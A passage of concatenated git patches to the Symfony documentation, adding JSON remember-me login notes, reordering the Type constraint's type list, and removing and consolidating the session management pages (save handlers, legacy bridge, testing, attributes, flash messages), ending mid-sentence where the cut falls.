     Optionally, you can configure a custom name for this checkbox using the
     ``name`` setting under the ``remember_me`` section.
 
+Remember Me for JSON Login
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you implement the login via an API that uses :ref:`JSON Login <json-login>`
+you can add a ``_remember_me`` key to the body of your POST request.
+
+.. code-block:: json
+
+    {
+        "username": "dunglas@example.com",
+        "password": "MyPassword",
+        "_remember_me": true
+    }
+
+.. note::
+
+    Optionally, you can configure a custom name for this key using the
+    ``name`` setting under the ``remember_me`` section.
+
 Always activating Remember Me
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 60dab0108936e6200c7a47948c281252afdb99c9 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 6 Jan 2023 22:57:57 +0100
Subject: [PATCH 4050/7107] Update constraint Type types

---
 reference/constraints/Type.rst | 24 +++++++++++++-----------
 1 file changed, 13 insertions(+), 11 deletions(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index be6149f53aa..ec8d400c570 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -206,22 +206,24 @@ This required option defines the type or collection of types allowed for the
 given value. Each type is either the FQCN (fully qualified class name) of some
 PHP class/interface or a valid PHP datatype (checked by PHP's ``is_()`` functions):
 
-* :phpfunction:`array <is_array>`
 * :phpfunction:`bool <is_bool>`
-* :phpfunction:`callable <is_callable>`
-* :phpfunction:`float <is_float>`
-* :phpfunction:`double <is_double>`
+* :phpfunction:`boolean <is_bool>`
 * :phpfunction:`int <is_int>`
-* :phpfunction:`integer <is_integer>`
-* :phpfunction:`iterable <is_iterable>`
-* :phpfunction:`long <is_long>`
-* :phpfunction:`null <is_null>`
+* :phpfunction:`integer <is_int>`
+* :phpfunction:`long <is_int>`
+* :phpfunction:`float <is_float>`
+* :phpfunction:`double <is_float>`
+* :phpfunction:`real <is_float>`
 * :phpfunction:`numeric <is_numeric>`
+* :phpfunction:`string <is_string>`
+* :phpfunction:`scalar <is_scalar>`
+* :phpfunction:`array <is_array>`
+* :phpfunction:`iterable <is_iterable>`
+* :phpfunction:`countable <is_countable>`
+* :phpfunction:`callable <is_callable>`
 * :phpfunction:`object <is_object>`
-* :phpfunction:`real <is_real>`
 * :phpfunction:`resource <is_resource>`
-* :phpfunction:`scalar <is_scalar>`
-* :phpfunction:`string <is_string>`
+* :phpfunction:`null <is_null>`
 
 Also, you can use ``ctype_*()`` functions from corresponding
 `built-in PHP extension`_. Consider `a list of ctype functions`_:

From 0055c991d092448d98ed3aa9f8f451cea857708f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 31 Dec 2022 14:12:39 +0100
Subject: [PATCH 4051/7107] Sessions refactoring

---
 _build/redirection_map                        |    8 +-
 components/http_foundation.rst                |    5 +-
 .../http_foundation/session_configuration.rst |  321 ----
 .../http_foundation/session_php_bridge.rst    |   48 -
 .../http_foundation/session_testing.rst       |   58 -
 components/http_foundation/sessions.rst       |  356 ----
 controller.rst                                |  130 +-
 doctrine.rst                                  |    1 -
 reference/configuration/framework.rst         |    2 +-
 security/impersonating_user.rst               |    6 +-
 session.rst                                   | 1533 +++++++++++++++--
 session/database.rst                          |  663 -------
 session/locale_sticky_session.rst             |  188 --
 session/php_bridge.rst                        |  108 --
 session/proxy_examples.rst                    |  145 --
 translation.rst                               |    2 +-
 translation/locale.rst                        |    4 +-
 17 files changed, 1474 insertions(+), 2104 deletions(-)
 delete mode 100644 components/http_foundation/session_configuration.rst
 delete mode 100644 components/http_foundation/session_php_bridge.rst
 delete mode 100644 components/http_foundation/session_testing.rst
 delete mode 100644 components/http_foundation/sessions.rst
 delete mode 100644 session/database.rst
 delete mode 100644 session/locale_sticky_session.rst
 delete mode 100644 session/php_bridge.rst
 delete mode 100644 session/proxy_examples.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index c24c5087601..9175f68d5e3 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -248,7 +248,8 @@
 /cookbook/session/index /session
 /cookbook/session/limit_metadata_writes /reference/configuration/framework
 /session/limit_metadata_writes /reference/configuration/framework
-/cookbook/session/locale_sticky_session /session/locale_sticky_session
+/cookbook/session/locale_sticky_session /session#locale-sticky-session
+/cookbook/locale_sticky_session /session#locale-sticky-session
 /cookbook/session/php_bridge /session/php_bridge
 /cookbook/session/proxy_examples /session/proxy_examples
 /cookbook/session/sessions_directory /session/sessions_directory
@@ -477,8 +478,9 @@
 /components/translation/custom_message_formatter https://github.com/symfony/translation
 /components/notifier https://github.com/symfony/notifier
 /components/routing https://github.com/symfony/routing
-/doctrine/pdo_session_storage /session/database
-/doctrine/mongodb_session_storage /session/database
+/session/database /session#session-database
+/doctrine/pdo_session_storage /session#session-database-pdo
+/doctrine/mongodb_session_storage /session#session-database-mongodb
 /components/dotenv https://github.com/symfony/dotenv
 /components/mercure /mercure
 /components/polyfill_apcu https://github.com/symfony/polyfill-apcu
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 8780745738c..062a21e4e87 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -752,7 +752,7 @@ the response content will look like this:
 Session
 -------
 
-The session information is in its own document: :doc:`/components/http_foundation/sessions`.
+The session information is in its own document: :doc:`/session`.
 
 Safe Content Preference
 -----------------------
@@ -829,10 +829,9 @@ Learn More
     :maxdepth: 1
     :glob:
 
-    /components/http_foundation/*
     /controller
     /controller/*
-    /session/*
+    /session
     /http_cache/*
 
 .. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
deleted file mode 100644
index f8efaf0fd18..00000000000
--- a/components/http_foundation/session_configuration.rst
+++ /dev/null
@@ -1,321 +0,0 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation, Sessions
-
-Configuring Sessions and Save Handlers
-======================================
-
-This article deals with how to configure session management and fine tune it
-to your specific needs. This documentation covers save handlers, which
-store and retrieve session data, and configuring session behavior.
-
-Save Handlers
-~~~~~~~~~~~~~
-
-The PHP session workflow has 6 possible operations that may occur. The normal
-session follows ``open``, ``read``, ``write`` and ``close``, with the possibility
-of ``destroy`` and ``gc`` (garbage collection which will expire any old sessions:
-``gc`` is called randomly according to PHP's configuration and if called, it is
-invoked after the ``open`` operation). You can read more about this at
-`php.net/session.customhandler`_
-
-Native PHP Save Handlers
-------------------------
-
-So-called native handlers, are save handlers which are either compiled into
-PHP or provided by PHP extensions, such as PHP-SQLite, PHP-Memcached and so on.
-
-All native save handlers are internal to PHP and as such, have no public facing API.
-They must be configured by ``php.ini`` directives, usually ``session.save_path`` and
-potentially other driver specific directives. Specific details can be found in
-the docblock of the ``setOptions()`` method of each class. For instance, the one
-provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOptions>`.
-
-While native save handlers can be activated by directly using
-``ini_set('session.save_handler', $name);``, Symfony provides a convenient way to
-activate these in the same way as it does for custom handlers.
-
-Symfony provides drivers for the following native save handler as an example:
-
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\NativeFileSessionHandler`
-
-Example usage::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\Handler\NativeFileSessionHandler;
-    use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
-
-    $sessionStorage = new NativeSessionStorage([], new NativeFileSessionHandler());
-    $session = new Session($sessionStorage);
-
-.. note::
-
-    With the exception of the ``files`` handler which is built into PHP and
-    always available, the availability of the other handlers depends on those
-    PHP extensions being active at runtime.
-
-.. note::
-
-    Native save handlers provide a quick solution to session storage, however,
-    in complex systems where you need more control, custom save handlers may
-    provide more freedom and flexibility. Symfony provides several implementations
-    which you may further customize as required.
-
-Custom Save Handlers
---------------------
-
-Custom handlers are those which completely replace PHP's built-in session save
-handlers by providing six callback functions which PHP calls internally at
-various points in the session workflow.
-
-The Symfony HttpFoundation component provides some by default and these can
-serve as examples if you wish to write your own.
-
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MigratingSessionHandler`
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\RedisSessionHandler`
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler`
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\NullSessionHandler`
-
-Example usage::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-    use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
-
-    $pdo = new \PDO(...);
-    $sessionStorage = new NativeSessionStorage([], new PdoSessionHandler($pdo));
-    $session = new Session($sessionStorage);
-
-Migrating Between Save Handlers
--------------------------------
-
-If your application changes the way sessions are stored, use the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MigratingSessionHandler`
-to migrate between old and new save handlers without losing session data.
-
-This is the recommended migration workflow:
-
-#. Switch to the migrating handler, with your new handler as the write-only one.
-   The old handler behaves as usual and sessions get written to the new one::
-
-       $sessionStorage = new MigratingSessionHandler($oldSessionStorage, $newSessionStorage);
-
-#. After your session gc period, verify that the data in the new handler is correct.
-#. Update the migrating handler to use the old handler as the write-only one, so
-   the sessions will now be read from the new handler. This step allows easier rollbacks::
-
-       $sessionStorage = new MigratingSessionHandler($newSessionStorage, $oldSessionStorage);
-
-#. After verifying that the sessions in your application are working, switch
-   from the migrating handler to the new handler.
-
-Configuring PHP Sessions
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
-can configure most of the ``php.ini`` configuration directives which are documented
-at `php.net/session.configuration`_.
-
-To configure these settings, pass the keys (omitting the initial ``session.`` part
-of the key) as a key-value array to the ``$options`` constructor argument.
-Or set them via the
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
-method.
-
-For the sake of clarity, some key options are explained in this documentation.
-
-Session Cookie Lifetime
-~~~~~~~~~~~~~~~~~~~~~~~
-
-For security, session tokens are generally recommended to be sent as session cookies.
-You can configure the lifetime of session cookies by specifying the lifetime
-(in seconds) using the ``cookie_lifetime`` key in the constructor's ``$options``
-argument in :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`.
-
-Setting a ``cookie_lifetime`` to ``0`` will cause the cookie to live only as
-long as the browser remains open. Generally, ``cookie_lifetime`` would be set to
-a relatively large number of days, weeks or months. It is not uncommon to set
-cookies for a year or more depending on the application.
-
-Since session cookies are just a client-side token, they are less important in
-controlling the fine details of your security settings which ultimately can only
-be securely controlled from the server side.
-
-.. note::
-
-    The ``cookie_lifetime`` setting is the number of seconds the cookie should live
-    for, it is not a Unix timestamp. The resulting session cookie will be stamped
-    with an expiry time of ``time()`` + ``cookie_lifetime`` where the time is taken
-    from the server.
-
-Configuring Garbage Collection
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When a session opens, PHP will call the ``gc`` handler randomly according to the
-probability set by ``session.gc_probability`` / ``session.gc_divisor`` in ``php.ini``.
-For example if these were set to ``5/100``, it would mean a probability of 5%.
-
-If the garbage collection handler is invoked, PHP will pass the value of
-``session.gc_maxlifetime``, meaning that any stored session that was saved more
-than ``gc_maxlifetime`` seconds ago should be deleted. This allows to expire records
-based on idle time.
-
-However, some operating systems (e.g. Debian) do their own session handling and set
-the ``session.gc_probability`` directive to ``0`` to stop PHP doing garbage
-collection. That's why Symfony now overwrites this value to ``1``.
-
-If you wish to use the original value set in your ``php.ini``, add the following
-configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                gc_probability: null
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
-        >
-            <framework:config>
-                <framework:session gc-probability="null"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->extension('framework', [
-                'session' => [
-                    'gc_probability' => null,
-                ],
-            ]);
-        };
-
-You can configure these settings by passing ``gc_probability``, ``gc_divisor``
-and ``gc_maxlifetime`` in an array to the constructor of
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
-or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
-method.
-
-Session Lifetime
-~~~~~~~~~~~~~~~~
-
-When a new session is created, meaning Symfony issues a new session cookie
-to the client, the cookie will be stamped with an expiry time. This is
-calculated by adding the PHP runtime configuration value in
-``session.cookie_lifetime`` with the current server time.
-
-.. note::
-
-    PHP will only issue a cookie once. The client is expected to store that cookie
-    for the entire lifetime. A new cookie will only be issued when the session is
-    destroyed, the browser cookie is deleted, or the session ID is regenerated
-    using the ``migrate()`` or ``invalidate()`` methods of the ``Session`` class.
-
-    The initial cookie lifetime can be set by configuring ``NativeSessionStorage``
-    using the ``setOptions(['cookie_lifetime' => 1234])`` method.
-
-.. note::
-
-    A cookie lifetime of ``0`` means the cookie expires when the browser is closed.
-
-Session Idle Time/Keep Alive
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-There are often circumstances where you may want to protect, or minimize
-unauthorized use of a session when a user steps away from their terminal while
-logged in by destroying the session after a certain period of idle time. For
-example, it is common for banking applications to log the user out after just
-5 to 10 minutes of inactivity. Setting the cookie lifetime here is not
-appropriate because that can be manipulated by the client, so we must do the expiry
-on the server side. The easiest way is to implement this via garbage collection
-which runs reasonably frequently. The ``cookie_lifetime`` would be set to a
-relatively high value, and the garbage collection ``gc_maxlifetime`` would be set
-to destroy sessions at whatever the desired idle period is.
-
-The other option is specifically check if a session has expired after the
-session is started. The session can be destroyed as required. This method of
-processing can allow the expiry of sessions to be integrated into the user
-experience, for example, by displaying a message.
-
-Symfony records some basic metadata about each session to give you complete
-freedom in this area.
-
-Session Cache Limiting
-~~~~~~~~~~~~~~~~~~~~~~
-
-To avoid users seeing stale data, it's common for session-enabled resources to be
-sent with headers that disable caching. For this purpose PHP Sessions has the
-``sessions.cache_limiter`` option, which determines which headers, if any, will be
-sent with the response when the session in started.
-
-Upon construction,
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
-sets this global option to ``""`` (send no headers) in case the developer wishes to
-use a :class:`Symfony\\Component\\HttpFoundation\\Response` object to manage
-response headers.
-
-.. caution::
-
-    If you rely on PHP Sessions to manage HTTP caching, you *must* manually set the
-    ``cache_limiter`` option in
-    :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
-    to a non-empty value.
-
-    For example, you may set it to PHP's default value during construction:
-
-    Example usage::
-
-        use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
-
-        $options['cache_limiter'] = session_cache_limiter();
-        $sessionStorage = new NativeSessionStorage($options);
-
-Session Metadata
-~~~~~~~~~~~~~~~~
-
-Sessions are decorated with some basic metadata to enable fine control over the
-security settings. The session object has a getter for the metadata,
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getMetadataBag` which
-exposes an instance of :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MetadataBag`::
-
-    $session->getMetadataBag()->getCreated();
-    $session->getMetadataBag()->getLastUsed();
-
-Both methods return a Unix timestamp (relative to the server).
-
-This metadata can be used to explicitly expire a session on access, e.g.::
-
-    $session->start();
-    if (time() - $session->getMetadataBag()->getLastUsed() > $maxIdleTime) {
-        $session->invalidate();
-        throw new SessionExpired(); // redirect to expired session page
-    }
-
-It is also possible to tell what the ``cookie_lifetime`` was set to for a
-particular cookie by reading the ``getLifetime()`` method::
-
-    $session->getMetadataBag()->getLifetime();
-
-The expiry time of the cookie can be determined by adding the created
-timestamp and the lifetime.
-
-.. _`php.net/session.customhandler`: https://www.php.net/session.customhandler
-.. _`php.net/session.configuration`: https://www.php.net/session.configuration
diff --git a/components/http_foundation/session_php_bridge.rst b/components/http_foundation/session_php_bridge.rst
deleted file mode 100644
index 00f57e59e4f..00000000000
--- a/components/http_foundation/session_php_bridge.rst
+++ /dev/null
@@ -1,48 +0,0 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation, Sessions
-
-Integrating with Legacy Sessions
-================================
-
-Sometimes it may be necessary to integrate Symfony into a legacy application
-where you do not initially have the level of control you require.
-
-As stated elsewhere, Symfony Sessions are designed to replace the use of
-PHP's native ``session_*()`` functions and use of the ``$_SESSION``
-superglobal. Additionally, it is mandatory for Symfony to start the session.
-
-However, when there really are circumstances where this is not possible, you
-can use a special storage bridge
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\PhpBridgeSessionStorage`
-which is designed to allow Symfony to work with a session started outside of
-the Symfony HttpFoundation component. You are warned that things can interrupt
-this use-case unless you are careful: for example the legacy application
-erases ``$_SESSION``.
-
-A typical use of this might look like this::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\PhpBridgeSessionStorage;
-
-    // legacy application configures session
-    ini_set('session.save_handler', 'files');
-    ini_set('session.save_path', '/tmp');
-    session_start();
-
-    // Get Symfony to interface with this existing session
-    $session = new Session(new PhpBridgeSessionStorage());
-
-    // symfony will now interface with the existing PHP session
-    $session->start();
-
-This will allow you to start using the Symfony Session API and allow migration
-of your application to Symfony sessions.
-
-.. note::
-
-    Symfony sessions store data like attributes in special 'Bags' which use a
-    key in the ``$_SESSION`` superglobal. This means that a Symfony session
-    cannot access arbitrary keys in ``$_SESSION`` that may be set by the legacy
-    application, although all the ``$_SESSION`` contents will be saved when
-    the session is saved.
diff --git a/components/http_foundation/session_testing.rst b/components/http_foundation/session_testing.rst
deleted file mode 100644
index 7d8a570c17e..00000000000
--- a/components/http_foundation/session_testing.rst
+++ /dev/null
@@ -1,58 +0,0 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation, Sessions
-
-Testing with Sessions
-=====================
-
-Symfony is designed from the ground up with code-testability in mind. In order
-to test your code which utilizes sessions, we provide two separate mock storage
-mechanisms for both unit testing and functional testing.
-
-Testing code using real sessions is tricky because PHP's workflow state is global
-and it is not possible to have multiple concurrent sessions in the same PHP
-process.
-
-The mock storage engines simulate the PHP session workflow without actually
-starting one allowing you to test your code without complications. You may also
-run multiple instances in the same PHP process.
-
-The mock storage drivers do not read or write the system globals
-``session_id()`` or ``session_name()``. Methods are provided to simulate this if
-required:
-
-* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::getId`: Gets the
-  session ID.
-
-* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::setId`: Sets the
-  session ID.
-
-* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::getName`: Gets the
-  session name.
-
-* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::setName`: Sets the
-  session name.
-
-Unit Testing
-------------
-
-For unit testing where it is not necessary to persist the session, you should
-swap out the default storage engine with
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockArraySessionStorage`::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage;
-
-    $session = new Session(new MockArraySessionStorage());
-
-Functional Testing
-------------------
-
-For functional testing where you may need to persist session data across
-separate PHP processes, change the storage engine to
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockFileSessionStorage`::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
-
-    $session = new Session(new MockFileSessionStorage());
diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
deleted file mode 100644
index dfebd9cc326..00000000000
--- a/components/http_foundation/sessions.rst
+++ /dev/null
@@ -1,356 +0,0 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation, Sessions
-
-Session Management
-==================
-
-The Symfony HttpFoundation component has a very powerful and flexible session
-subsystem which is designed to provide session management through a clear
-object-oriented interface using a variety of session storage drivers.
-
-Sessions are used via the :class:`Symfony\\Component\\HttpFoundation\\Session\\Session`
-implementation of :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface` interface.
-
-.. caution::
-
-    Make sure your PHP session isn't already started before using the Session
-    class. If you have a legacy session system that starts your session, see
-    :doc:`Legacy Sessions </components/http_foundation/session_php_bridge>`.
-
-Quick example::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-
-    $session = new Session();
-    $session->start();
-
-    // set and get session attributes
-    $session->set('name', 'Drak');
-    $session->get('name');
-
-    // set flash messages
-    $session->getFlashBag()->add('notice', 'Profile updated');
-
-    // retrieve messages
-    foreach ($session->getFlashBag()->get('notice', []) as $message) {
-        echo '<div class="flash-notice">'.$message.'</div>';
-    }
-
-.. note::
-
-    Symfony sessions are designed to replace several native PHP functions.
-    Applications should avoid using ``session_start()``, ``session_regenerate_id()``,
-    ``session_id()``, ``session_name()``, and ``session_destroy()`` and instead
-    use the APIs in the following section.
-
-.. note::
-
-    While it is recommended to explicitly start a session, a session will actually
-    start on demand, that is, if any session request is made to read/write session
-    data.
-
-.. caution::
-
-    Symfony sessions are incompatible with ``php.ini`` directive ``session.auto_start = 1``
-    This directive should be turned off in ``php.ini``, in the web server directives or
-    in ``.htaccess``.
-
-Session API
-~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\HttpFoundation\\Session\\Session` class implements
-:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`.
-
-The :class:`Symfony\\Component\\HttpFoundation\\Session\\Session` has the
-following API, divided into a couple of groups.
-
-Session Workflow
-................
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::start`
-    Starts the session - do not use ``session_start()``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::migrate`
-    Regenerates the session ID - do not use ``session_regenerate_id()``.
-    This method can optionally change the lifetime of the new cookie that will
-    be emitted by calling this method.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::invalidate`
-    Clears all session data and regenerates session ID. Do not use ``session_destroy()``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getId`
-    Gets the session ID. Do not use ``session_id()``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::setId`
-    Sets the session ID. Do not use ``session_id()``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getName`
-    Gets the session name. Do not use ``session_name()``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::setName`
-    Sets the session name. Do not use ``session_name()``.
-
-Session Attributes
-..................
-
-The session attributes are stored internally in a "Bag", a PHP object that acts
-like an array. They can be set, removed, checked, etc. using the methods
-explained later in this article for the ``AttributeBagInterface`` class. See
-:ref:`attribute-bag-interface`.
-
-In addition, a few methods exist for "Bag" management:
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::registerBag`
-    Registers a :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface`.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getBag`
-    Gets a :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface` by
-    bag name.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getFlashBag`
-    Gets the :class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface`.
-    This is just a shortcut for convenience.
-
-Session Metadata
-................
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getMetadataBag`
-    Gets the :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MetadataBag`
-    which contains information about the session.
-
-Session Data Management
-~~~~~~~~~~~~~~~~~~~~~~~
-
-PHP's session management requires the use of the ``$_SESSION`` super-global,
-however, this interferes somewhat with code testability and encapsulation in an
-OOP paradigm. To help overcome this, Symfony uses *session bags* linked to the
-session to encapsulate a specific dataset of attributes or flash messages.
-
-This approach also mitigates namespace pollution within the ``$_SESSION``
-super-global because each bag stores all its data under a unique namespace.
-This allows Symfony to peacefully co-exist with other applications or libraries
-that might use the ``$_SESSION`` super-global and all data remains completely
-compatible with Symfony's session management.
-
-Symfony provides two kinds of storage bags, with two separate implementations.
-Everything is written against interfaces so you may extend or create your own
-bag types if necessary.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface` has
-the following API which is intended mainly for internal purposes:
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::getStorageKey`
-    Returns the key which the bag will ultimately store its array under in ``$_SESSION``.
-    Generally this value can be left at its default and is for internal use.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::initialize`
-    This is called internally by Symfony session storage classes to link bag data
-    to the session.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::getName`
-    Returns the name of the session bag.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::clear`
-    Clears out data from the bag.
-
-.. _attribute-bag-interface:
-
-Attributes
-~~~~~~~~~~
-
-The purpose of the bags implementing the :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface`
-is to handle session attribute storage. This might include things like user ID,
-and "Remember Me" login settings or other user based state information.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
-    This is the standard default implementation.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-    This implementation allows for attributes to be stored in a structured namespace.
-
-    .. deprecated:: 5.3
-
-        The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-        If you need this feature, you will have to implement the class yourself.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface`
-has the API
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::set`
-    Sets an attribute by name (``set('name', 'value')``).
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::get`
-    Gets an attribute by name (``get('name')``) and can define a default
-    value when the attribute doesn't exist (``get('name', 'default_value')``).
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::all`
-    Gets all attributes as an associative array of ``name => value``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::has`
-    Returns ``true`` if the attribute exists.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::replace`
-    Sets multiple attributes at once using an associative array (``name => value``).
-    If the attributes existed, they are replaced; if not, they are created.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::remove`
-    Deletes an attribute by name and returns its value.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::clear`
-    Deletes all attributes.
-
-Example::
-
-    use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag;
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
-
-    $session = new Session(new NativeSessionStorage(), new AttributeBag());
-    $session->set('token', 'a6c1e0b6');
-    // ...
-    $token = $session->get('token');
-    // if the attribute may or may not exist, you can define a default value for it
-    $token = $session->get('attribute-name', 'default-attribute-value');
-    // ...
-    $session->clear();
-
-.. _namespaced-attributes:
-
-Namespaced Attributes
-.....................
-
-Any plain key-value storage system is limited in the extent to which
-complex data can be stored since each key must be unique. You can achieve
-namespacing by introducing a naming convention to the keys so different parts of
-your application could operate without clashing. For example, ``module1.foo`` and
-``module2.foo``. However, sometimes this is not very practical when the attributes
-data is an array, for example a set of tokens. In this case, managing the array
-becomes a burden because you have to retrieve the array then process it and
-store it again::
-
-    $tokens = [
-        'tokens' => [
-            'a' => 'a6c1e0b6',
-            'b' => 'f4a7b1f3',
-        ],
-    ];
-
-So any processing of this might quickly get ugly, even adding a token to the array::
-
-    $tokens = $session->get('tokens');
-    $tokens['c'] = $value;
-    $session->set('tokens', $tokens);
-
-.. deprecated:: 5.3
-
-    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-    If you need this feature, you will have to implement the class yourself.
-
-With structured namespacing, the key can be translated to the array
-structure like this using a namespace character (which defaults to ``/``)::
-
-    // ...
-    use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
-
-    $session = new Session(new NativeSessionStorage(), new NamespacedAttributeBag());
-    $session->set('tokens/c', $value);
-
-Flash Messages
-~~~~~~~~~~~~~~
-
-The purpose of the :class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface`
-is to provide a way of setting and retrieving messages on a per session basis.
-The usual workflow would be to set flash messages in a request and to display them
-after a page redirect. For example, a user submits a form which hits an update
-controller, and after processing the controller redirects the page to either the
